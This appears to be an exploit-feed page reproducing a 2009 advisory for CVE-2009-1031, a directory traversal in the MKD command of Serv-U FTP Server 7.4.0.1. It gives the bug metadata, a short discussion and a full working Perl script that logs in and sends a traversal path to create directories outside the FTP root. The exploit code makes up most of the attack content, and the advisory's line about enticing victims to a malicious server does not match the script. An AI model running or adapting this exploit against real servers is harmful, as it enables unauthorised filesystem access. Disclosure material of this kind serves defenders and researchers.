No account yet?
Home » Exploits » Serv-U FTP Server 'MKD' Command Directory Traversal Vulnerability
Serv-U FTP Server 'MKD' Command Directory Traversal Vulnerability E-mail
Feeds - Exploits
Written by Jonathan Salwan   
Thursday, 26 March 2009 22:48
Serv-U FTP Server 'MKD' Command Directory Traversal Vulnerability


-\\Bugtraq ID:
34125

-\\Class:
Input Validation Error

-\\CVE:
CVE-2009-1031


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Mar 16 2009 12:00AM

-\\Updated:
Mar 26 2009 04:26PM

-\\Credit:
Jonathan Salwan



-\\Vulnerable:
RhinoSoft Serv-U 7.4 1



-\\Discussion
Serv-U FTP Server is prone to a directory-traversal vulnerability because the application
fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an authenticated user to create directories outside the FTP
root directory, which may lead to other attacks.

Serv-U FTP Server 7.4.0.1 is vulnerable; other versions may also be affected.



-\\Exploit(s)/PoC(s):
An attacker can exploit this issue by enticing an unsuspecting victim to connect to a
malicious server.

The following exploit code is available:

======================================================
34125.pl
^^^^^^^^^
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

    if (@ARGV < 4)
        {
         print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
         print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
         exit;
        }

    $ip     = $ARGV[0];
    $port     = $ARGV[1];
    $user    = $ARGV[2];
    $pass    = $ARGV[3];
    $dir    = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") ||
die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

    print $socket "USER $user\r\n";
    print $socket "PASS $pass\r\n";
    print $socket "MKD $dir\r\n";

        sleep(3);    
        close($socket);

print "[+]Done! directory $dir has been created\n";

# milw0rm.com [2009-03-16]



-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if
you are aware of more recent information, please mail us at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it .



-\\References(s)
--Serv-U Homepage
http://www.serv-u.com  (RhinoSoft)
 

Security Services by HSC